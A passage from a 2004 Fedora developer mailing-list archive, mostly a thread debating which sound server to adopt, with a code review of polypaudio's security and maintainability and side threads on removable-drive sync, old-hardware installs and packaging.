taskbar), so requesting > > an umount is nothing unknown in the windows world (although it is > > not called by that name) > > > > Btw, IIRC earlier versions of Windows pops up an evil model dialog box > telling the user off but I think they changed that as it annoyed users. > We don't do that right now FWIW. However, this is in no way carte > blanche for people to not unmount their devices before yanking them out > - one should always unmount your drives before doing that! The 'sync' > option is merely to minimize data loss in the event that people don't > unmount it. > > Cheers, > David From caolanm at redhat.com Thu Oct 28 19:51:05 2004 From: caolanm at redhat.com (Caolan McNamara) Date: Thu, 28 Oct 2004 19:51:05 +0000 Subject: sound server In-Reply-To: <1098987067.5054.4.camel@localhost.localdomain> References: <1098987067.5054.4.camel@localhost.localdomain> Message-ID: <1098993065.8728.4.camel@sheol.homelinux.org> On Thu, 2004-10-28 at 14:11 -0400, Havoc Pennington wrote: > Hi, > > Do we have any comments on the sound server topic from a broader > perspective than only GNOME? > > A competing proposal I've heard is to just use ALSA directly. > > A nice Fedora goal at some point would be to get all packages using the > same sound setup. Indeed, right now OpenOffice.org has support for /dev/audio and nas. nas support is clearly nigh on worthless at this stage and its existance continally niggles at me but I'd like to have something standard agreed as the clearly correct alternative to replace it with. C. From alan at redhat.com Thu Oct 28 18:46:03 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 14:46:03 -0400 Subject: Removable storage devices and sync In-Reply-To: <20041028172020.C23049@ryoko.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> Message-ID: <20041028184603.GC1620@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 05:20:20PM +0200, Ralf Ertzinger wrote: > Yes, I know that. But why the different handling for large and small > devices? Should not all external devices be mounted sync? I can > pull out an external hard disk just as easy as an USB stick. The disk has a cache as well of up to 8Mb, so don't do it for disk. O_SYNC won't save you. 8) From notting at redhat.com Thu Oct 28 19:20:29 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 28 Oct 2004 15:20:29 -0400 Subject: sound server In-Reply-To: <1098987067.5054.4.camel@localhost.localdomain> References: <1098987067.5054.4.camel@localhost.localdomain> Message-ID: <20041028192029.GB19915@nostromo.devel.redhat.com> Havoc Pennington (hp at redhat.com) said: > Do we have any comments on the sound server topic from a broader > perspective than only GNOME? > > A competing proposal I've heard is to just use ALSA directly. Well, you'd need to set up ALSA to use dmix first. Once you do that, native ALSA usage could work. There's also jack, arts, and other mixers of that sort. Note that mixing jack and polypaudio doesn't look like it will work right. The fact that polypaudio's client API/ABI hasn't actually stablized at an initial version is worrisome. Bill From alan at redhat.com Thu Oct 28 19:22:20 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 15:22:20 -0400 Subject: sound server In-Reply-To: <1098987067.5054.4.camel@localhost.localdomain> References: <1098987067.5054.4.camel@localhost.localdomain> Message-ID: <20041028192220.GE1620@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 02:11:06PM -0400, Havoc Pennington wrote: > A competing proposal I've heard is to just use ALSA directly. I wasn't aware that ALSA supported network audio. If you were going for a 'direct ALSA' type setup I'd actually suggest also stealing SDL_mixer. > - Polypaudio provides an ESOUND compatibility module. When this is > enabled polypaudio emulates an esound server, including autospawning Good As to the code - no synchronization interface with X property changes, so you can't stream sync the tcp session with the X tcp session. Thats one of the real "doh!" problems with esd. I also can't find an accessibility interface to pass audio descriptons. There are lots of dubious looking pieces of code that deal in terms of multiplication without overflow checks. So far they look ok but make me jumpy. Code is hard to read with lots of pointer and pointer to pointer spaghetti most of it uncommented. pa_authkey_load_from_home assumes the file system is shared rather than putting the auth key on the X root window. It also doesnt use getpwnam as fallback for home. Means it cannot be run chrooted. pa_drop_root doesn't properly drop saved setuid bit on some systems. Does use capabilities which is good, although its not obvious why it actually needs any. Uses access() which never gives the right answer to anything because its implicitly racy I see no code trying to ensure that a lot of connects that dont bother authenticating but just wait are cleaned up quickly. Lots of stuff like esd connection_write seem to have no sane handling for memory limits (eg when network is slower than reader) It's got fairly dubious looking portability code (although maybe its inherited esd suckiness) "strncpy(name, (char*) data + sizeof(int)*2, sizeof(name));" No rate adaption It seems very overcomplex, unauditable, lacking functionality and far inferior to arts (or to be honest in some ways to esd). From alan at redhat.com Thu Oct 28 19:24:44 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 15:24:44 -0400 Subject: sound server In-Reply-To: <1098987067.5054.4.camel@localhost.localdomain> References: <1098987067.5054.4.camel@localhost.localdomain> Message-ID: <20041028192444.GF1620@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 02:11:06PM -0400, Havoc Pennington wrote: > Do we have any comments on the sound server topic from a broader > perspective than only GNOME? Is there any perspective on using arts > A competing proposal I've heard is to just use ALSA directly. For network stuff having had a further thing I'd implement esd "second edition" by taking ESD and replacing all its audio side code with SDL_mixer, which was written by someone who has a grasp of audio processing, is portable and can mix multiple channels with fades, some effect and positioning control. > I believe this is orthogonal to something like Helix/GStreamer which > would both output to the sound server, but the maintainers of those > media frameworks probably care about the discussion. Helix needs 5.1 handling too - thats a lot more fun From alan at redhat.com Thu Oct 28 19:25:57 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 15:25:57 -0400 Subject: sound server In-Reply-To: <1098987836.27512.12.camel@remedyz.boston.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <1098987836.27512.12.camel@remedyz.boston.redhat.com> Message-ID: <20041028192557.GG1620@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 02:23:56PM -0400, John (J5) Palmieri wrote: > Polyaudio so I am going to go ahead and make some packages. It looks > like I might have to split out a libesound package for now. The biggest > problem from what Jeff said would be converting all our packages to use > Polyaudio's API. The biggest problem would be the security audit and the debugging, especially the audit. That is 500Kb of uncommented, impenetrable spaghetti. From johnp at redhat.com Thu Oct 28 19:37:48 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 28 Oct 2004 15:37:48 -0400 Subject: sound server In-Reply-To: <20041028192557.GG1620@devserv.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <1098987836.27512.12.camel@remedyz.boston.redhat.com> <20041028192557.GG1620@devserv.devel.redhat.com> Message-ID: <1098992268.27512.25.camel@remedyz.boston.redhat.com> On Thu, 2004-10-28 at 15:25 -0400, Alan Cox wrote: > On Thu, Oct 28, 2004 at 02:23:56PM -0400, John (J5) Palmieri wrote: > > Polyaudio so I am going to go ahead and make some packages. It looks > > like I might have to split out a libesound package for now. The biggest > > problem from what Jeff said would be converting all our packages to use > > Polyaudio's API. > > The biggest problem would be the security audit and the debugging, especially > the audit. That is 500Kb of uncommented, impenetrable spaghetti. I hadn't gotten to the point of looking at the code yet. I was going to make some test packages, see how it worked as an esd replacement and then go ahead and start looking at it. If it is as you say, impenetrable spaghetti, then I don't want to gain yet another unmaintainable package. Is it your position that the things that are wrong with Polyaudio would be harder to fix than just fixing esd? Or perhaps there are better alternatives around? If we can find a solution that is easy to integrate, maintain and audit I am all for that. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From louisg00 at bellsouth.net Thu Oct 28 19:42:21 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Thu, 28 Oct 2004 15:42:21 -0400 Subject: cd wont boot on an old P200 box Message-ID: <1098992541.10054.4.camel@tiger> Trying to install fc3 on a pentium 200mhz and the cd wont boot. Think the bios is to old, installed fine on more modern boxes. Any ideas on how to get fc3 on this sucker? A floppy boot disk would come in handy about now. --Louis From notting at redhat.com Thu Oct 28 19:43:39 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 28 Oct 2004 15:43:39 -0400 Subject: sound server In-Reply-To: <1098992268.27512.25.camel@remedyz.boston.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <1098987836.27512.12.camel@remedyz.boston.redhat.com> <20041028192557.GG1620@devserv.devel.redhat.com> <1098992268.27512.25.camel@remedyz.boston.redhat.com> Message-ID: <20041028194339.GB21312@nostromo.devel.redhat.com> John (J5) Palmieri (johnp at redhat.com) said: > I hadn't gotten to the point of looking at the code yet. I was going to > make some test packages, see how it worked as an esd replacement and > then go ahead and start looking at it. If it is as you say, > impenetrable spaghetti, then I don't want to gain yet another > unmaintainable package. Is it your position that the things that are > wrong with Polyaudio would be harder to fix than just fixing esd? Or > perhaps there are better alternatives around? If we can find a solution > that is easy to integrate, maintain and audit I am all for that. Well... direct alsa usage can handle the ESD stuff, as long as you don't care about network audio (and someone may want to write a shim esd-like layer for playback.) How important is network audio, anyway? Bill From hp at redhat.com Thu Oct 28 19:45:14 2004 From: hp at redhat.com (Havoc Pennington) Date: Thu, 28 Oct 2004 15:45:14 -0400 Subject: sound server In-Reply-To: <20041028192444.GF1620@devserv.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> Message-ID: <1098992714.5054.10.camel@localhost.localdomain> On Thu, 2004-10-28 at 15:24 -0400, Alan Cox wrote: > On Thu, Oct 28, 2004 at 02:11:06PM -0400, Havoc Pennington wrote: > > Do we have any comments on the sound server topic from a broader > > perspective than only GNOME? > > Is there any perspective on using arts > AFAIK the main objection is overlap with helix/gstreamer instead of sticking to sound server. Havoc From NOS at Utel.no Thu Oct 28 19:54:27 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Thu, 28 Oct 2004 21:54:27 +0200 Subject: sound server In-Reply-To: <000301c4bd26$b9adf990$14aaa8c0@utelsystems.local> References: <1098987067.5054.4.camel@localhost.localdomain> <1098987836.27512.12.camel@remedyz.boston.redhat.com> <20041028192557.GG1620@devserv.devel.redhat.com> <1098992268.27512.25.camel@remedyz.boston.redhat.com> <000301c4bd26$b9adf990$14aaa8c0@utelsystems.local> Message-ID: <41814E73.5090109@Utel.no> Bill Nottingham wrote: > John (J5) Palmieri (johnp at redhat.com) said: > >>I hadn't gotten to the point of looking at the code yet. I was going to >>make some test packages, see how it worked as an esd replacement and >>then go ahead and start looking at it. If it is as you say, >>impenetrable spaghetti, then I don't want to gain yet another >>unmaintainable package. Is it your position that the things that are >>wrong with Polyaudio would be harder to fix than just fixing esd? Or >>perhaps there are better alternatives around? If we can find a solution >>that is easy to integrate, maintain and audit I am all for that. > > > Well... direct alsa usage can handle the ESD stuff, as long as you > don't care about network audio (and someone may want to write a shim > esd-like layer for playback.) > > How important is network audio, anyway? There are lots of thin client installation, it's important. From rdieter at math.unl.edu Thu Oct 28 19:57:59 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 28 Oct 2004 14:57:59 -0500 Subject: gnupg newpg gpgme gpgme03 cryptplug isuses In-Reply-To: <1085325371.3919.477.camel@bobcat.mine.nu> References: <200405021037.22538.dennis@ausil.us> <200405021518.09927.dennis@ausil.us> <20040502052940.GA1032@nostromo.devel.redhat.com> <200405021538.43398.dennis@ausil.us> <1083498673.5261.495.camel@bobcat.mine.nu> <1085325371.3919.477.camel@bobcat.mine.nu> Message-ID: <41814F47.2070805@math.unl.edu> Ville Skytt? wrote: > On Sun, 2004-05-02 at 14:51, Ville Skytt? wrote: > > >>As long as gnupg2 (when it's time) will have "Obsoletes: newpg", I >>believe we can find a clean solution by packaging libgcrypt1 and >>changing gpgme and gpgme03 to require %{_bindir}/gpgsm instead of newpg. > > > A quick followup: there are now libgcrypt1, gpgme and gpgme03 packages > in fedora.us which have been "fixed" according to the above. Just a followup to an old thread... gnupg2 and gpgme have now been submitted to fedora.us: gnupg2: http://bugzilla.fedora.us/show_bug.cgi?id=2179 gpgme: http://bugzilla.fedora.us/show_bug.cgi?id=2180 -- Rex From alan at redhat.com Thu Oct 28 20:00:15 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 16:00:15 -0400 Subject: sound server In-Reply-To: <1098992268.27512.25.camel@remedyz.boston.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <1098987836.27512.12.camel@remedyz.boston.redhat.com> <20041028192557.GG1620@devserv.devel.redhat.com> <1098992268.27512.25.camel@remedyz.boston.redhat.com> Message-ID: <20041028200015.GA25591@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 03:37:48PM -0400, John (J5) Palmieri wrote: > I hadn't gotten to the point of looking at the code yet. I was going to > make some test packages, see how it worked as an esd replacement and > then go ahead and start looking at it. If it is as you say, How can you make packages without reading the code, you don't know if it contains code to attack Red Hat unless you read it first.. > impenetrable spaghetti, then I don't want to gain yet another > unmaintainable package. Is it your position that the things that are Take a look see what you think. Second opinions are always good > wrong with Polyaudio would be harder to fix than just fixing esd? Or > perhaps there are better alternatives around? If we can find a solution > that is easy to integrate, maintain and audit I am all for that. There are several alternative sound servers such as arts (which we already ship) and lots of fun politics around some of them From alan at redhat.com Thu Oct 28 20:00:56 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 16:00:56 -0400 Subject: sound server In-Reply-To: <20041028194339.GB21312@nostromo.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <1098987836.27512.12.camel@remedyz.boston.redhat.com> <20041028192557.GG1620@devserv.devel.redhat.com> <1098992268.27512.25.camel@remedyz.boston.redhat.com> <20041028194339.GB21312@nostromo.devel.redhat.com> Message-ID: <20041028200056.GB25591@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 03:43:39PM -0400, Bill Nottingham wrote: > Well... direct alsa usage can handle the ESD stuff, as long as you > don't care about network audio (and someone may want to write a shim > esd-like layer for playback.) > > How important is network audio, anyway? For any kind of thin client deployment - very. Also for stuff like movie watching between rooms. From alan at redhat.com Thu Oct 28 20:02:15 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 16:02:15 -0400 Subject: sound server In-Reply-To: <1098992714.5054.10.camel@localhost.localdomain> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098992714.5054.10.camel@localhost.localdomain> Message-ID: <20041028200215.GC25591@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 03:45:14PM -0400, Havoc Pennington wrote: > AFAIK the main objection is overlap with helix/gstreamer instead of > sticking to sound server. So if we just used arts as the soundserver side of things (not that arts is perfect) rather than in all its glory we'd have two stacks for gstreamer layer stuff but a single unified audio layer at the bottom and much like bluecurve some vague hope of desktop sanity ? From fedora_devel_list at poczta.fm Thu Oct 28 20:23:17 2004 From: fedora_devel_list at poczta.fm (Dawid Gajownik) Date: Thu, 28 Oct 2004 22:23:17 +0200 Subject: cd wont boot on an old P200 box In-Reply-To: <1098992541.10054.4.camel@tiger> References: <1098992541.10054.4.camel@tiger> Message-ID: <41815535.2070407@poczta.fm> Dnia 10/28/2004 09:42 PM, U?ytkownik Louis Garcia napisa?: > Trying to install fc3 on a pentium 200mhz and the cd wont boot. Think > the bios is to old, installed fine on more modern boxes. Any ideas > on how to get fc3 on this sucker? http://www.gentoo.org/doc/en/altinstall.xml#doc_chap2 Hope this will help. -- *_^ ---------------------------------------------------------------------- Zmien sie i znajdz swoj nowy styl z programem Mistrz Wizazu Dobieraj modne fryzury, makijaz i dodatki nie ruszaj?c sie z domu >>> http://link.interia.pl/f1838 From johnp at redhat.com Thu Oct 28 20:26:50 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 28 Oct 2004 16:26:50 -0400 Subject: Notification applet - Was: Removable storage devices and sync In-Reply-To: <1098988488.2728.9.camel@kyrre> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> <1098977522.4553.8.camel@davidz> <20041028173652.D23049@ryoko.camperquake.de> <1098979855.5489.3.camel@davidz> <1098988488.2728.9.camel@kyrre> Message-ID: <1098995210.27512.27.camel@remedyz.boston.redhat.com> On Thu, 2004-10-28 at 20:34 +0200, Kyrre Ness Sjobak wrote: > Just out of curiosity: How hard will it be to have a "message applet" in > tray, which connected to dBus, and an backend interface which provided a > bridge to this applet through dBus, providing an interface for the major > programming languages - including BASH. And it should be possible to > specify which user should get the warning - in case of terminal servers > etc. There is already a spec for notification and hopefully we can get it implemented for Gnome 2.10. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From hp at redhat.com Thu Oct 28 20:44:59 2004 From: hp at redhat.com (Havoc Pennington) Date: Thu, 28 Oct 2004 16:44:59 -0400 Subject: sound server In-Reply-To: <20041028200215.GC25591@devserv.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098992714.5054.10.camel@localhost.localdomain> <20041028200215.GC25591@devserv.devel.redhat.com> Message-ID: <1098996299.5054.15.camel@localhost.localdomain> On Thu, 2004-10-28 at 16:02 -0400, Alan Cox wrote: > On Thu, Oct 28, 2004 at 03:45:14PM -0400, Havoc Pennington wrote: > > AFAIK the main objection is overlap with helix/gstreamer instead of > > sticking to sound server. > > So if we just used arts as the soundserver side of things (not that arts > is perfect) rather than in all its glory we'd have two stacks for gstreamer > layer stuff but a single unified audio layer at the bottom and much like > bluecurve some vague hope of desktop sanity ? > I don't object in principle. Though as someone else said, we should be sure KDE is going to stick with arts. Havoc From rjune at bravegnuworld.com Thu Oct 28 20:18:37 2004 From: rjune at bravegnuworld.com (Richard June) Date: Thu, 28 Oct 2004 15:18:37 -0500 Subject: sound server In-Reply-To: <20041028194339.GB21312@nostromo.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <1098992268.27512.25.camel@remedyz.boston.redhat.com> <20041028194339.GB21312@nostromo.devel.redhat.com> Message-ID: <200410281518.40535.rjune@bravegnuworld.com> > How important is network audio, anyway? Ask the LTSP project and anybody that relies on it. -- Public Key available Here: http://www.bravegnuworld.com/~rjune/rjune.asc -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From rjune at bravegnuworld.com Thu Oct 28 20:27:25 2004 From: rjune at bravegnuworld.com (Richard June) Date: Thu, 28 Oct 2004 15:27:25 -0500 Subject: sound server In-Reply-To: <20041028192444.GF1620@devserv.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> Message-ID: <200410281527.28217.rjune@bravegnuworld.com> > > Do we have any comments on the sound server topic from a broader > > perspective than only GNOME? > > Is there any perspective on using arts supposedly arts is capable of a number of audio backends, even ESD. I know that it works with NAS, which has a /dev/dsp redirection library available already. so for terminals, NAS isn't a bad proposition. the one gotcha is that if you are using NAS, you need to turn the buffer just about off in the KDE control panel, or you'll get some awful skipping. > > A competing proposal I've heard is to just use ALSA directly. > > For network stuff having had a further thing I'd implement esd "second > edition" by taking ESD and replacing all its audio side code with > SDL_mixer, which was written by someone who has a grasp of audio > processing, is portable and can mix multiple channels with fades, some > effect and positioning control. Oooo, I would agree with that, especially if existing esd software doesn't require much changes. Would MAS (http://www.mediaapplicationserver.net/) be a realistic possibility? -- Public Key available Here: http://www.bravegnuworld.com/~rjune/rjune.asc -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From zcerza at redhat.com Thu Oct 28 21:17:48 2004 From: zcerza at redhat.com (Zack Cerza) Date: Thu, 28 Oct 2004 17:17:48 -0400 Subject: sound server In-Reply-To: <20041028192444.GF1620@devserv.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> Message-ID: <1098998268.10018.12.camel@tallest.boston.redhat.com> On Thu, 2004-10-28 at 15:24 -0400, Alan Cox wrote: > On Thu, Oct 28, 2004 at 02:11:06PM -0400, Havoc Pennington wrote: > > Do we have any comments on the sound server topic from a broader > > perspective than only GNOME? > > Is there any perspective on using arts aRts will most likely be dropped from KDE by version 4. They're currently looking at gstreamer, MAS and NMM (I don't know what this last one is. Maybe someone else does?). In #kde-devel on Freenode today: 16:46 < aseigo_work> zack: seriously, though, the best thing that could happen is that RH gets involved with the kde-multimedia discussions ... throw some effort onto the table with the project. it's really difficult to coordinate effective solutions with all the various os vendors when all the various os vendors insist on doing their decision making quietly behind more-or-less closed doors ;-) While this list isn't really a "closed door" any more than any other public list, it seems to me that this discussion isn't really Fedora- specific. There's got to be a better place to have it. Zack From rjune at bravegnuworld.com Thu Oct 28 21:17:01 2004 From: rjune at bravegnuworld.com (Richard June) Date: Thu, 28 Oct 2004 16:17:01 -0500 Subject: LTSP or Stateless Linux In-Reply-To: <1098908863.14494.31.camel@localhost.localdomain> References: <754f42e70410270918579a26e4@mail.gmail.com> <1098908163.4697.36.camel@remedyz.boston.redhat.com> <1098908863.14494.31.camel@localhost.localdomain> Message-ID: <200410281617.04393.rjune@bravegnuworld.com> On Wednesday 27 October 2004 15:27, Havoc Pennington wrote: > On Wed, 2004-10-27 at 16:16 -0400, John (J5) Palmieri wrote: > > A simple distinction is that with LTSP the computer is just a dumb > > terminal displaying programs being run on a more powerful server. > > Stateless installs the OS image on the client where the programs are > > run. This allows a person to detach the computer from the network and > > still have it be usable. > > Don't confuse the "cached client" mode with stateless linux in general. > The idea is that we treat an NFS root filesystem with only an X server > installed (similar to LTSP) in the same framework as an NFS root > filesystem with a full set of apps installed, or the cached client mode, > or a live CD mode. The definition I would give of stateless linux in > general is "sharing the same OS instance between multiple > machines" (which implies the OS instance is read-only, and contains no > per-machine state - those are the things that require OS changes) > > Havoc Sounds like the way I had Redhat8 and RedHat 9 at my library. one large read-only nfs share for /, and a 128MB ramdisk for /tmp so users could save files, that kind of thing. -- Public Key available Here: http://www.bravegnuworld.com/~rjune/rjune.asc -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From pbruna at linuxcenterla.com Thu Oct 28 21:18:08 2004 From: pbruna at linuxcenterla.com (Patricio Bruna V.) Date: Thu, 28 Oct 2004 18:18:08 -0300 Subject: fedora 3 and mono Message-ID: <1098998288.3779.29.camel@p.linuxcenter.cl> Hi i just make a pairs of RPM for mono (gtk-sharp exactly) that works with fedora 3. The packages for fedora 2 in the site mono-project.com works fine under fedora 3 with this gtk-sharp packages. you can download from: ftp://ftp.linuxcenter.cl/pub/fedora/core/3/mono/ thats all. -- Patricio Bruna http://www.linuxcenterla.com Ingeniero de Proyectos Canada # 239 Piso 5 Red Hat Certified Engineer Providencia, Santiago - CHILE Linux Center Latinoamerica Fono: +56 2 2745000, Fax : +56 2 2747075 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Esta parte del mensaje est? firmada digitalmente URL: From alan at redhat.com Thu Oct 28 21:32:03 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 17:32:03 -0400 Subject: sound server In-Reply-To: <200410281527.28217.rjune@bravegnuworld.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <200410281527.28217.rjune@bravegnuworld.com> Message-ID: <20041028213203.GA29610@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 03:27:25PM -0500, Richard June wrote: > > For network stuff having had a further thing I'd implement esd "second > > edition" by taking ESD and replacing all its audio side code with > > SDL_mixer, which was written by someone who has a grasp of audio > > processing, is portable and can mix multiple channels with fades, some > > effect and positioning control. > Oooo, I would agree with that, especially if existing esd software doesn't > require much changes. Would MAS (http://www.mediaapplicationserver.net/) be > a realistic possibility? Well the polypaudio author doesn't seem averse to the idea of using the SDL mixer code in his codebase either. From notting at redhat.com Thu Oct 28 21:35:30 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 28 Oct 2004 17:35:30 -0400 Subject: sound server In-Reply-To: <1098998268.10018.12.camel@tallest.boston.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098998268.10018.12.camel@tallest.boston.redhat.com> Message-ID: <20041028213530.GB22074@nostromo.devel.redhat.com> Zack Cerza (zcerza at redhat.com) said: > While this list isn't really a "closed door" any more than any other > public list, it seems to me that this discussion isn't really Fedora- > specific. There's got to be a better place to have it. There's always xdg at freedesktop.org, although this isn't really a *standard*, per se. Bill From rbultje at ronald.bitfreak.net Thu Oct 28 21:45:38 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Thu, 28 Oct 2004 23:45:38 +0200 Subject: sound server In-Reply-To: <1098996299.5054.15.camel@localhost.localdomain> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098992714.5054.10.camel@localhost.localdomain> <20041028200215.GC25591@devserv.devel.redhat.com> <1098996299.5054.15.camel@localhost.localdomain> Message-ID: <1098999938.2760.6.camel@tux.lan> On Thu, 2004-10-28 at 22:44, Havoc Pennington wrote: > I don't object in principle. Though as someone else said, we should be > sure KDE is going to stick with arts. They're not. They're as fed up with arts as "we" are with esd. When I talked with multimedia people at DDC in Ottawa, they sounded even more desperate than we are to get rid of it. Which makes me wonder: Alan, why do you like arts so much? Ronald -- Ronald S. Bultje From rbultje at ronald.bitfreak.net Thu Oct 28 21:47:25 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Thu, 28 Oct 2004 23:47:25 +0200 Subject: sound server In-Reply-To: <1098998268.10018.12.camel@tallest.boston.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098998268.10018.12.camel@tallest.boston.redhat.com> Message-ID: <1099000044.2760.9.camel@tux.lan> On Thu, 2004-10-28 at 23:17, Zack Cerza wrote: > aRts will most likely be dropped from KDE by version 4. They're > currently looking at gstreamer, MAS and NMM (I don't know what this last > one is. Maybe someone else does?). NMM is similar to GStreamer (in principle), it's a project from students of the university of Saarbruchen (Germany). They just are somewhat less far in development (then again, I'm biased, so please make your own opinions here). Ronald -- Ronald S. Bultje From paul at all-the-johnsons.co.uk Thu Oct 28 21:38:56 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Thu, 28 Oct 2004 22:38:56 +0100 Subject: fedora 3 and mono In-Reply-To: <1098998288.3779.29.camel@p.linuxcenter.cl> References: <1098998288.3779.29.camel@p.linuxcenter.cl> Message-ID: <1098999536.15990.65.camel@localhost.localdomain> Hi, > Hi i just make a pairs of RPM for mono (gtk-sharp exactly) that works > with fedora 3. The packages for fedora 2 in the site mono-project.com > works fine under fedora 3 with this gtk-sharp packages. > > you can download from: ftp://ftp.linuxcenter.cl/pub/fedora/core/3/mono/ I know there are no issues between mono, mcs and gtk-sharp with FC3t3. I compile it fresh from cvs every night without a hitch. http://www.all-the-johnsons.co.uk/mono/mono-compiling.html TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From alan at redhat.com Thu Oct 28 22:08:07 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 28 Oct 2004 18:08:07 -0400 Subject: sound server In-Reply-To: <1098999938.2760.6.camel@tux.lan> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098992714.5054.10.camel@localhost.localdomain> <20041028200215.GC25591@devserv.devel.redhat.com> <1098996299.5054.15.camel@localhost.localdomain> <1098999938.2760.6.camel@tux.lan> Message-ID: <20041028220807.GA14644@devserv.devel.redhat.com> On Thu, Oct 28, 2004 at 11:45:38PM +0200, Ronald S. Bultje wrote: > They're not. They're as fed up with arts as "we" are with esd. When I > talked with multimedia people at DDC in Ottawa, they sounded even more > desperate than we are to get rid of it. > > Which makes me wonder: Alan, why do you like arts so much? Its better than esd. Thats its only redeeming feature - so I certainly don't like it or hold it up as ideal. From dax at gurulabs.com Thu Oct 28 22:15:52 2004 From: dax at gurulabs.com (Dax Kelson) Date: Thu, 28 Oct 2004 16:15:52 -0600 Subject: sound server In-Reply-To: <1099000044.2760.9.camel@tux.lan> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098998268.10018.12.camel@tallest.boston.redhat.com> <1099000044.2760.9.camel@tux.lan> Message-ID: <1099001752.3856.292.camel@mentorng.gurulabs.com> On Thu, 2004-10-28 at 15:47, Ronald S. Bultje wrote: > On Thu, 2004-10-28 at 23:17, Zack Cerza wrote: > > aRts will most likely be dropped from KDE by version 4. They're > > currently looking at gstreamer, MAS and NMM (I don't know what this last > > one is. Maybe someone else does?). > > NMM is similar to GStreamer (in principle), it's a project from students > of the university of Saarbruchen (Germany). They just are somewhat less > far in development (then again, I'm biased, so please make your own > opinions here). I watched a video presentation of it. Seemed cool, but the speaker did mention that currently it had absolutely no concept of security or access controls. It makes me quite nervous to have security bolted on after the fact. Dax Kelson Guru Labs From bclark at redhat.com Thu Oct 28 22:27:03 2004 From: bclark at redhat.com (Bryan Clark) Date: Thu, 28 Oct 2004 18:27:03 -0400 Subject: sound server In-Reply-To: <20041028220807.GA14644@devserv.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> 